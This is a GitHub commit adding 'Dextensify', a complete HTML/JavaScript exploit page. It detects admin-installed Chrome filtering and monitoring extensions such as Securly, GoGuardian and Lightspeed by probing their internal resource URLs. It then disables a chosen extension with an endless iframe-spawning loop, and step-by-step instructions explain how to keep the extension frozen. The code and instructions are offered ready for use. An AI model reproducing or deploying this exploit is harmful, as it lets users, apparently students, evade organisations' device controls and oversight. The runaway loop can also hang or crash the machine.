Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
dekid69 authored May 2, 2024
1 parent f05d08d commit f595456
Showing 1 changed file with 305 additions and 0 deletions.
305 changes: 305 additions & 0 deletions Dextensify.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,305 @@
<!DOCTYPE html>
<html lang="en">
<head>
<title>Dextensify</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<style>
* {
font-family: Sans-serif;
color: #d4d3da;
}
a {
color: #6daebd;
}
a:hover {
color: #4f9eb0;
}
pre, code {
font-family: monospace;
background-color: #1e2324;
padding: 4px;
overflow-x: auto;
}
pre {
padding: 8px;
}
pre code {
background-color: transparent;
border: none;
padding: 0px;
}
body {
background-color: #1e2324;
width: 100%;
height: 100%;
margin: 0px;
}
button {
background-color: #33626c;
padding: 6px;
padding-left: 8px;
padding-right: 8px;
border: transparent;
font-size: 15px;
}
#main_div {
max-width: 800px;
object-fit: contain;

background-color: #252b2d;

padding: 4px;
padding-left: 16px;
padding-right: 16px;

margin: 16px;
margin-left: auto;
margin-right: auto;
}
#buttons_container {
display: flex;
flex-wrap: wrap;
gap: 8px;
}
</style>
<script>
let from_id = id => document.getElementById(id);
let extensions = {
"securly_new": {
name: "Securly",
url: "chrome-extension://knneimmpeamikmjijmnhjmmobddleohj/fonts/Metropolis.css"
},
"securly_old": {
name: "Securly (old)",
url: "chrome-extension://iheobagjkfklnlikgihanlhcddjoihkg/fonts/Metropolis.css"
},
"goguardian": {
name: "Goguardian",
url: "chrome-extension://haldlgldplgnggkjaafhelgiaglafanh/youtube_injection.js"
},
"lanschool": {
name: "LANSchool",
url: "chrome-extension://baleiojnjpgeojohhhfbichcodgljmnj/blocked.html"
},
"linewize": {
name: "Linewize",
url: "chrome-extension://ddfbkhpmcdbciejenfcolaaiebnjcbfc/background/assets/pages/default-blocked.html"
},
"blocksi": {
name: "Blocksi",
url: "chrome-extension://ghlpmldmjjhmdgmneoaibbegkjjbonbk/pages/blockPage.html"
},
"fortiguard": {
name: "Fortiguard",
url: "chrome-extension://igbgpehnbmhgdgjbhkkpedommgmfbeao/youtube_injection.js"
},
"cisco": {
name: "Cisco Umbrella",
url: "chrome-extension://jcdhmojfecjfmbdpchihbeilohgnbdci/blocked.html"
},
"contentkeeper": {
name: "ContentKeeper",
url: "chrome-extension://jdogphakondfdmcanpapfahkdomaicfa/img/ckauth19x.png"
},
"contentkeeperg3": {
name: "CK-Authenticator G3",
url: "chrome-extension://odoanpnonilogofggaohhkdkdgbhdljp/img/ckauth19x.png"
},
"securlyclassroom": {
name: "Securly Classroom",
url: "chrome-extension://jfbecfmiegcjddenjhlbhlikcbfmnafd/notfound.html"
},
"hapara": {
name: "Hapara",
url: "chrome-extension://kbohafcopfpigkjdimdcdgenlhkmhbnc/blocked.html"
},
"hapara-new-id": {
name: "Hapara",
url: "chrome-extension://aceopacgaepdcelohobicpffbbejnfac/blocked.html"
},
"iboss": {
name: "iboss",
url: "chrome-extension://kmffehbidlalibfeklaefnckpidbodff/restricted.html"
},
"lightspeedfilteragent": {
name: "Lightspeed Filter Agent",
url: "chrome-extension://adkcpkpghahmbopkjchobieckeoaoeem/icon-128.png"
},
"lightspeedclassroom": {
name: "Lightspeed Classroom",
url: "chrome-extension://kkbmdgjggcdajckdlbngdjonpchpaiea/assets/icon-classroom-128.png"
},
"interclass": {
name: "InterCLASS Filtering Service",
url: "chrome-extension://jbddgjglgkkneonnineaohdhabjbgopi/pages/message-page.html"
},
"intersafe": {
name: "InterSafe GatewayConnection Agent",
url: "chrome-extension://ecjoghccnjlodjlmkgmnbnkdcbnjgden/resources/options.js"
},
"loilo": {
name: "ロイロWebフィルター/LoiLo Web Filters",
url: "chrome-extension://pabjlbjcgldndnpjnokjakbdofjgnfia/image/allow_icon/shield_green_128x128.png"
},
"gopher_buddy": {
name: "Gopher Buddy",
url: "chrome-extension://cgbbbjmgdpnifijconhamggjehlamcif/images/gopher-buddy_128x128_color.png"
},
"lanschool_helper": {
name: "LanSchool Web Helper",
url: "chrome-extension://honjcnefekfnompampcpmcdadibmjhlk/blocked.html"
},
"imtlazarus": {
name: "IMTLazarus",
url: "chrome-extension://cgigopjakkeclhggchgnhmpmhghcbnaf/models/model.json"
},
"impero_backdrop": {
name: "Impero Backdrop",
url: "chrome-extension://jjpmjccpemllnmgiaojaocgnakpmfgjg/licenses.html"
},
"mobile_guardian": {
name: "Mobile Guardian",
url: "chrome-extension://fgmafhdohjkdhfaacgbgclmfgkgokgmb/block.html"
},
};

async function check_url(url) {
let controller = new AbortController();
let timeout = setTimeout(() => controller.abort(), 500);

try {
await fetch(url, {signal: controller.signal});
return true;
}
catch (error) {
let error_msg = error+"";
return error_msg.includes("AbortError");
}
}

async function detect_extensions() {
let detected = [];
for (let extension of Object.values(extensions)) {
let exists = await check_url(extension.url);
if (exists) {
detected.push(extension);
}
}
return detected;
}

async function main() {
let detected = await detect_extensions();
let buttons_container = from_id("buttons_container")

if (!window.chrome) {
buttons_container.innerHTML = `<p><b>Error: You are not running a Chromium-based browser.</b></p>`;
return;
}
else if (detected.length === 0) {
buttons_container.innerHTML = `<p><b>Error: No supported extensions detected.</b></p>`;
return;
}
else {
buttons_container.innerHTML = ""
}

for (let extension of detected) {
let button = document.createElement("button");
button.innerText = `Freeze ${extension.name}`;
button.onclick = () => {
button_handler(extension);
}
buttons_container.append(button);
}
}

function button_handler(extension) {
let cancel = !confirm("After hitting OK, there will be a 5 second delay until the extension starts being frozen. Switch to another tab immediately to prevent the entire device from locking up.");
if (cancel) return;

setTimeout(() => {
create_iframes(extension);
}, 5000);
}

function create_iframes(extension) {
let iframes = []
let iterations = 5;
let public_url = extension.url;

while (true) {
let iframe = document.createElement("iframe");
document.body.append(iframe);
iframes.push(iframe);

//let subframe_count = Math.max(2, 200 - iterations);
for (let i=0; i<50; i++) {
let subframe = document.createElement("iframe");
subframe.src = public_url;
subframe.style.width = subframe.style.height = "1px";
iframe.contentDocument.body.append(subframe);
}

while (iframes.length > Math.max(3, 10-iterations)) {
iframes[0].remove();
iframes.shift();
}

iterations++;
}
}

window.onload = main;
</script>
</head>
<body>
<div id="main_div">
<h1 style="margin-top: 8px">Dextensify</h1>
<p>Dextensify is an exploit which lets you disable most admin-installed Chrome extensions from any webpage.</p>
<h2>Instructions</h2>
<ol>
<li>Open chrome://extensions in a new tab. Keep this page open.</li>
<li>Go to the settings page for the extension you want to disable.</li>
<li>On the Dextensify page, click the "freeze extension" button. Immediately switch back to the chrome://extensions tab.</li>
<li>Back on the chrome://extensions page, spam the "allow access to file URLs" switch for a few seconds.</li>
<li>The extension should now be temporarily disabled. For this effect to persist, flip the "allow access to file URLs" again every few minutes, or if pages start getting blocked again.</li>
<li>You may also need to reopen this page every once in a while to prevent an unavoidable memory leak from crashing the system.</li>
</ol>
<p>During this process, your Chromebook may hang momentarily. This is normal, and it should resolve itself after a few seconds.</p>
<div id="buttons_container">
<p><i>Detecting extensions...</i></p>
</div>
<br>
<hr>
<details>
<summary style="margin-bottom: 8px;">
Made by <a href="https://ading.dev" target="_blank">ading2210</a>. This file is licensed under the MIT license.
</summary>
<pre>MIT License
Copyright (c) 2023 ading2210
Modified by de kid

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.</pre>
<p style="font-size: 13px; text-align: right;"><i>Version 1.1.2</i></p>
</details>
</div>
</body>
</html>

0 comments on commit f595456

Please sign in to comment.